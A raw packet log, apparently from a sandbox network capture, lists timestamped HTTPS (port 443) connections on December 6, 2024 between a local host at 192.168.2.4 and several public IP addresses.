Dec 6, 2024 00:16:09.030756950 CET	49943	443	192.168.2.4	142.250.181.33
Dec 6, 2024 00:16:09.032135010 CET	49943	443	192.168.2.4	142.250.181.33
Dec 6, 2024 00:16:09.033150911 CET	49945	443	192.168.2.4	142.250.181.33
Dec 6, 2024 00:16:09.033169985 CET	443	49945	142.250.181.33	192.168.2.4
Dec 6, 2024 00:16:09.033354044 CET	443	49945	142.250.181.33	192.168.2.4
Dec 6, 2024 00:16:09.033400059 CET	49945	443	192.168.2.4	142.250.181.33
Dec 6, 2024 00:16:09.033952951 CET	49945	443	192.168.2.4	142.250.181.33
Dec 6, 2024 00:16:09.038132906 CET	49944	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:16:09.038146973 CET	443	49944	142.250.181.14	192.168.2.4
Dec 6, 2024 00:16:09.038456917 CET	443	49944	142.250.181.14	192.168.2.4
Dec 6, 2024 00:16:09.038507938 CET	49944	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:16:09.041085005 CET	49944	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:16:09.071355104 CET	443	49942	142.250.181.14	192.168.2.4
Dec 6, 2024 00:16:09.075329065 CET	443	49943	142.250.181.33	192.168.2.4
Dec 6, 2024 00:16:09.079339027 CET	443	49945	142.250.181.33	192.168.2.4
Dec 6, 2024 00:16:09.083333015 CET	443	49944	142.250.181.14	192.168.2.4
Dec 6, 2024 00:16:09.922799110 CET	443	49942	142.250.181.14	192.168.2.4
Dec 6, 2024 00:16:09.922940969 CET	49942	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:16:09.922962904 CET	443	49942	142.250.181.14	192.168.2.4
Dec 6, 2024 00:16:09.923008919 CET	49942	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:16:09.926661968 CET	443	49942	142.250.181.14	192.168.2.4
Dec 6, 2024 00:16:09.926700115 CET	443	49942	142.250.181.14	192.168.2.4
Dec 6, 2024 00:16:09.926708937 CET	49942	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:16:09.926740885 CET	49942	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:16:09.930124044 CET	49942	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:16:09.930141926 CET	443	49942	142.250.181.14	192.168.2.4
Dec 6, 2024 00:16:09.932064056 CET	49953	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:16:09.932095051 CET	443	49953	142.250.181.14	192.168.2.4
Dec 6, 2024 00:16:09.932215929 CET	49953	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:16:09.939758062 CET	443	49944	142.250.181.14	192.168.2.4
Dec 6, 2024 00:16:09.941067934 CET	49944	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:16:09.941090107 CET	443	49944	142.250.181.14	192.168.2.4
Dec 6, 2024 00:16:09.941132069 CET	49944	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:16:09.942666054 CET	49944	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:16:09.942704916 CET	443	49944	142.250.181.14	192.168.2.4
Dec 6, 2024 00:16:09.942759991 CET	49944	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:16:09.943346024 CET	49954	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:16:09.943362951 CET	443	49954	142.250.181.14	192.168.2.4
Dec 6, 2024 00:16:09.943418980 CET	49954	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:16:09.946727991 CET	49953	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:16:09.946739912 CET	443	49953	142.250.181.14	192.168.2.4
Dec 6, 2024 00:16:09.947444916 CET	49954	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:16:09.947455883 CET	443	49954	142.250.181.14	192.168.2.4
Dec 6, 2024 00:16:09.961672068 CET	443	49945	142.250.181.33	192.168.2.4
Dec 6, 2024 00:16:09.961719990 CET	443	49945	142.250.181.33	192.168.2.4
Dec 6, 2024 00:16:09.961745977 CET	49945	443	192.168.2.4	142.250.181.33
Dec 6, 2024 00:16:09.961764097 CET	443	49945	142.250.181.33	192.168.2.4
Dec 6, 2024 00:16:09.961780071 CET	49945	443	192.168.2.4	142.250.181.33
Dec 6, 2024 00:16:09.961817026 CET	443	49945	142.250.181.33	192.168.2.4
Dec 6, 2024 00:16:09.961865902 CET	49945	443	192.168.2.4	142.250.181.33
Dec 6, 2024 00:16:09.968811989 CET	49945	443	192.168.2.4	142.250.181.33
Dec 6, 2024 00:16:09.968826056 CET	443	49945	142.250.181.33	192.168.2.4
Dec 6, 2024 00:16:09.972481966 CET	49955	443	192.168.2.4	142.250.181.33
Dec 6, 2024 00:16:09.972520113 CET	443	49955	142.250.181.33	192.168.2.4
Dec 6, 2024 00:16:09.972578049 CET	49955	443	192.168.2.4	142.250.181.33
Dec 6, 2024 00:16:09.976151943 CET	49955	443	192.168.2.4	142.250.181.33
Dec 6, 2024 00:16:09.976166964 CET	443	49955	142.250.181.33	192.168.2.4
Dec 6, 2024 00:16:10.362059116 CET	49943	443	192.168.2.4	142.250.181.33
Dec 6, 2024 00:16:10.362116098 CET	49953	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:16:10.362308979 CET	49954	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:16:10.362492085 CET	49955	443	192.168.2.4	142.250.181.33
Dec 6, 2024 00:16:10.366034031 CET	49957	443	192.168.2.4	142.250.181.33
Dec 6, 2024 00:16:10.366053104 CET	443	49957	142.250.181.33	192.168.2.4
Dec 6, 2024 00:16:10.366116047 CET	49957	443	192.168.2.4	142.250.181.33
Dec 6, 2024 00:16:10.366471052 CET	49957	443	192.168.2.4	142.250.181.33
Dec 6, 2024 00:16:10.366482019 CET	443	49957	142.250.181.33	192.168.2.4
Dec 6, 2024 00:16:10.368345022 CET	49958	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:16:10.368374109 CET	443	49958	142.250.181.14	192.168.2.4
Dec 6, 2024 00:16:10.368432999 CET	49958	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:16:10.369168043 CET	49958	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:16:10.369179964 CET	443	49958	142.250.181.14	192.168.2.4
Dec 6, 2024 00:16:10.369991064 CET	49959	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:16:10.370026112 CET	443	49959	142.250.181.14	192.168.2.4
Dec 6, 2024 00:16:10.370074987 CET	49959	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:16:10.370662928 CET	49959	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:16:10.370676041 CET	443	49959	142.250.181.14	192.168.2.4
Dec 6, 2024 00:16:10.421642065 CET	443	49948	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:10.422147989 CET	49948	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:10.422164917 CET	443	49948	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:10.422652006 CET	49948	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:10.422657967 CET	443	49948	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:10.720789909 CET	443	49949	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:10.721466064 CET	49949	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:10.721487999 CET	443	49949	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:10.721982956 CET	49949	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:10.721991062 CET	443	49949	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:10.727750063 CET	443	49950	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:10.727996111 CET	443	49951	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:10.728279114 CET	443	49952	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:10.728351116 CET	49950	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:10.728363991 CET	443	49950	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:10.728497028 CET	49951	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:10.728509903 CET	443	49951	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:10.728766918 CET	49950	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:10.728770971 CET	443	49950	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:10.728904963 CET	49951	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:10.728909969 CET	443	49951	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:10.729020119 CET	49952	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:10.729033947 CET	443	49952	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:10.729362011 CET	49952	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:10.729366064 CET	443	49952	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:10.870544910 CET	443	49948	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:10.870594025 CET	443	49948	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:10.870659113 CET	49948	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:10.871570110 CET	49948	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:10.871582985 CET	443	49948	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:10.871597052 CET	49948	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:10.871602058 CET	443	49948	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:10.875277996 CET	49960	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:10.875317097 CET	443	49960	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:10.875448942 CET	49960	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:10.875606060 CET	49960	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:10.875618935 CET	443	49960	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:11.165019989 CET	443	49949	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:11.165091038 CET	443	49949	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:11.165141106 CET	49949	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:11.165496111 CET	49949	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:11.165505886 CET	443	49949	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:11.165544033 CET	49949	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:11.165549040 CET	443	49949	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:11.165707111 CET	443	49950	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:11.165755033 CET	443	49950	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:11.165796995 CET	49950	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:11.165925980 CET	49950	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:11.165931940 CET	443	49950	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:11.165956020 CET	49950	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:11.165958881 CET	443	49950	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:11.167912960 CET	443	49952	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:11.167959929 CET	443	49952	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:11.168045044 CET	49952	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:11.168415070 CET	443	49951	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:11.168462992 CET	443	49951	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:11.169122934 CET	49963	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:11.169148922 CET	49951	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:11.169152975 CET	443	49963	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:11.169219017 CET	49963	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:11.169328928 CET	49952	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:11.169338942 CET	443	49952	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:11.169348001 CET	49952	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:11.169353962 CET	443	49952	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:11.169538975 CET	49964	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:11.169550896 CET	443	49964	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:11.169647932 CET	49964	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:11.169718027 CET	49951	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:11.169723988 CET	443	49951	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:11.169732094 CET	49951	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:11.169734955 CET	443	49951	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:11.171013117 CET	49964	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:11.171020985 CET	443	49964	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:11.171224117 CET	49963	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:11.171236038 CET	443	49963	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:11.172533989 CET	49965	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:11.172547102 CET	443	49965	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:11.172616005 CET	49965	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:11.172744036 CET	49965	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:11.172753096 CET	443	49965	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:11.172863007 CET	49966	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:11.172871113 CET	443	49966	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:11.172933102 CET	49966	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:11.173024893 CET	49966	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:11.173032999 CET	443	49966	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:11.252337933 CET	49967	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:11.252348900 CET	443	49967	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:11.252414942 CET	49967	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:11.252628088 CET	49967	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:11.252636909 CET	443	49967	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:12.088263035 CET	443	49957	142.250.181.33	192.168.2.4
Dec 6, 2024 00:16:12.088367939 CET	49957	443	192.168.2.4	142.250.181.33
Dec 6, 2024 00:16:12.089435101 CET	443	49959	142.250.181.14	192.168.2.4
Dec 6, 2024 00:16:12.089518070 CET	49959	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:16:12.090092897 CET	443	49959	142.250.181.14	192.168.2.4
Dec 6, 2024 00:16:12.090152025 CET	49959	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:16:12.090727091 CET	443	49958	142.250.181.14	192.168.2.4
Dec 6, 2024 00:16:12.090797901 CET	49958	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:16:12.091372013 CET	443	49958	142.250.181.14	192.168.2.4
Dec 6, 2024 00:16:12.091428041 CET	49958	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:16:12.091814041 CET	49957	443	192.168.2.4	142.250.181.33
Dec 6, 2024 00:16:12.091824055 CET	443	49957	142.250.181.33	192.168.2.4
Dec 6, 2024 00:16:12.092029095 CET	443	49957	142.250.181.33	192.168.2.4
Dec 6, 2024 00:16:12.094768047 CET	49957	443	192.168.2.4	142.250.181.33
Dec 6, 2024 00:16:12.094971895 CET	49959	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:16:12.094980001 CET	443	49959	142.250.181.14	192.168.2.4
Dec 6, 2024 00:16:12.095207930 CET	443	49959	142.250.181.14	192.168.2.4
Dec 6, 2024 00:16:12.095262051 CET	49959	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:16:12.095340014 CET	49957	443	192.168.2.4	142.250.181.33
Dec 6, 2024 00:16:12.095685005 CET	49959	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:16:12.097419977 CET	49958	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:16:12.097429991 CET	443	49958	142.250.181.14	192.168.2.4
Dec 6, 2024 00:16:12.097632885 CET	443	49958	142.250.181.14	192.168.2.4
Dec 6, 2024 00:16:12.097697020 CET	49958	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:16:12.097966909 CET	49958	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:16:12.143330097 CET	443	49957	142.250.181.33	192.168.2.4
Dec 6, 2024 00:16:12.143338919 CET	443	49959	142.250.181.14	192.168.2.4
Dec 6, 2024 00:16:12.143340111 CET	443	49958	142.250.181.14	192.168.2.4
Dec 6, 2024 00:16:12.606976986 CET	443	49960	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:12.647716999 CET	49960	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:12.647741079 CET	443	49960	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:12.648211002 CET	49960	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:12.648216009 CET	443	49960	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:12.890623093 CET	443	49964	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:12.897985935 CET	443	49966	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:12.899337053 CET	443	49965	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:12.899571896 CET	443	49963	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:12.904544115 CET	49964	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:12.904562950 CET	443	49964	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:12.905462027 CET	49964	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:12.905467033 CET	443	49964	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:12.906024933 CET	49966	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:12.906029940 CET	443	49966	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:12.906750917 CET	49966	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:12.906754971 CET	443	49966	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:12.907279015 CET	49965	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:12.907294989 CET	443	49965	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:12.907654047 CET	49965	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:12.907659054 CET	443	49965	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:12.908174992 CET	49963	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:12.908200026 CET	443	49963	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:12.909002066 CET	49963	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:12.909010887 CET	443	49963	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:12.979943037 CET	443	49967	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:12.988473892 CET	49967	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:12.988486052 CET	443	49967	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:12.995774984 CET	49967	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:12.995779037 CET	443	49967	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:13.008503914 CET	443	49959	142.250.181.14	192.168.2.4
Dec 6, 2024 00:16:13.008557081 CET	49959	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:16:13.008573055 CET	443	49959	142.250.181.14	192.168.2.4
Dec 6, 2024 00:16:13.008605003 CET	49959	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:16:13.008874893 CET	49959	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:16:13.008914948 CET	443	49959	142.250.181.14	192.168.2.4
Dec 6, 2024 00:16:13.008970022 CET	49959	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:16:13.009443045 CET	49968	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:16:13.009484053 CET	443	49968	142.250.181.14	192.168.2.4
Dec 6, 2024 00:16:13.009557962 CET	49968	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:16:13.011537075 CET	49968	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:16:13.011554003 CET	443	49968	142.250.181.14	192.168.2.4
Dec 6, 2024 00:16:13.013222933 CET	443	49958	142.250.181.14	192.168.2.4
Dec 6, 2024 00:16:13.013276100 CET	49958	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:16:13.013295889 CET	443	49958	142.250.181.14	192.168.2.4
Dec 6, 2024 00:16:13.013334036 CET	49958	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:16:13.015259981 CET	49958	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:16:13.015291929 CET	443	49958	142.250.181.14	192.168.2.4
Dec 6, 2024 00:16:13.015343904 CET	49958	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:16:13.019200087 CET	49969	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:16:13.019224882 CET	443	49969	142.250.181.14	192.168.2.4
Dec 6, 2024 00:16:13.019288063 CET	49969	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:16:13.023552895 CET	49970	443	192.168.2.4	142.250.181.33
Dec 6, 2024 00:16:13.023581028 CET	443	49970	142.250.181.33	192.168.2.4
Dec 6, 2024 00:16:13.023634911 CET	49970	443	192.168.2.4	142.250.181.33
Dec 6, 2024 00:16:13.023793936 CET	49970	443	192.168.2.4	142.250.181.33
Dec 6, 2024 00:16:13.023807049 CET	443	49970	142.250.181.33	192.168.2.4
Dec 6, 2024 00:16:13.033874035 CET	49969	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:16:13.033885956 CET	443	49969	142.250.181.14	192.168.2.4
Dec 6, 2024 00:16:13.034735918 CET	443	49957	142.250.181.33	192.168.2.4
Dec 6, 2024 00:16:13.034771919 CET	443	49957	142.250.181.33	192.168.2.4
Dec 6, 2024 00:16:13.034786940 CET	49957	443	192.168.2.4	142.250.181.33
Dec 6, 2024 00:16:13.034795046 CET	443	49957	142.250.181.33	192.168.2.4
Dec 6, 2024 00:16:13.034806013 CET	49957	443	192.168.2.4	142.250.181.33
Dec 6, 2024 00:16:13.034842968 CET	49957	443	192.168.2.4	142.250.181.33
Dec 6, 2024 00:16:13.034847021 CET	443	49957	142.250.181.33	192.168.2.4
Dec 6, 2024 00:16:13.034883976 CET	49957	443	192.168.2.4	142.250.181.33
Dec 6, 2024 00:16:13.035036087 CET	443	49957	142.250.181.33	192.168.2.4
Dec 6, 2024 00:16:13.035068035 CET	49957	443	192.168.2.4	142.250.181.33
Dec 6, 2024 00:16:13.035068989 CET	443	49957	142.250.181.33	192.168.2.4
Dec 6, 2024 00:16:13.035106897 CET	49957	443	192.168.2.4	142.250.181.33
Dec 6, 2024 00:16:13.037072897 CET	49957	443	192.168.2.4	142.250.181.33
Dec 6, 2024 00:16:13.037084103 CET	443	49957	142.250.181.33	192.168.2.4
Dec 6, 2024 00:16:13.038414001 CET	49971	443	192.168.2.4	142.250.181.33
Dec 6, 2024 00:16:13.038443089 CET	443	49971	142.250.181.33	192.168.2.4
Dec 6, 2024 00:16:13.038497925 CET	49971	443	192.168.2.4	142.250.181.33
Dec 6, 2024 00:16:13.039316893 CET	49971	443	192.168.2.4	142.250.181.33
Dec 6, 2024 00:16:13.039324999 CET	443	49971	142.250.181.33	192.168.2.4
Dec 6, 2024 00:16:13.073112965 CET	443	49960	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:13.073173046 CET	443	49960	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:13.073216915 CET	49960	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:13.073496103 CET	49960	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:13.073510885 CET	443	49960	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:13.073519945 CET	49960	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:13.073524952 CET	443	49960	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:13.076625109 CET	49972	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:13.076638937 CET	443	49972	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:13.076693058 CET	49972	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:13.076821089 CET	49972	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:13.076829910 CET	443	49972	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:13.327470064 CET	443	49964	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:13.327517033 CET	443	49964	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:13.327682018 CET	49964	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:13.327811003 CET	49964	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:13.327820063 CET	443	49964	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:13.327831984 CET	49964	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:13.327837944 CET	443	49964	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:13.330601931 CET	49973	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:13.330617905 CET	443	49973	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:13.330698967 CET	49973	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:13.330837965 CET	49973	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:13.330847025 CET	443	49973	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:13.333570957 CET	443	49966	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:13.333619118 CET	443	49966	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:13.333667040 CET	49966	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:13.333769083 CET	49966	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:13.333772898 CET	443	49966	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:13.333781004 CET	49966	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:13.333784103 CET	443	49966	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:13.335773945 CET	49974	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:13.335786104 CET	443	49974	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:13.335851908 CET	49974	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:13.335959911 CET	49974	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:13.335973978 CET	443	49974	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:13.341794968 CET	443	49965	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:13.341840982 CET	443	49965	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:13.341881037 CET	49965	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:13.342072964 CET	49965	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:13.342072964 CET	49965	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:13.342078924 CET	443	49965	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:13.342084885 CET	443	49965	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:13.342410088 CET	443	49963	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:13.342473030 CET	443	49963	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:13.342519999 CET	49963	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:13.342562914 CET	49963	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:13.342581034 CET	443	49963	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:13.342591047 CET	49963	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:13.342597961 CET	443	49963	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:13.344250917 CET	49975	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:13.344259024 CET	443	49975	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:13.344327927 CET	49975	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:13.344441891 CET	49975	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:13.344450951 CET	443	49975	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:13.344511986 CET	49976	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:13.344540119 CET	443	49976	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:13.344600916 CET	49976	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:13.344707012 CET	49976	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:13.344719887 CET	443	49976	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:13.420429945 CET	443	49967	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:13.420459986 CET	443	49967	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:13.420675993 CET	49967	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:13.420692921 CET	443	49967	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:13.420829058 CET	49967	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:13.420840025 CET	443	49967	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:13.420847893 CET	49967	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:13.420952082 CET	443	49967	13.107.246.63	192.168.2.4
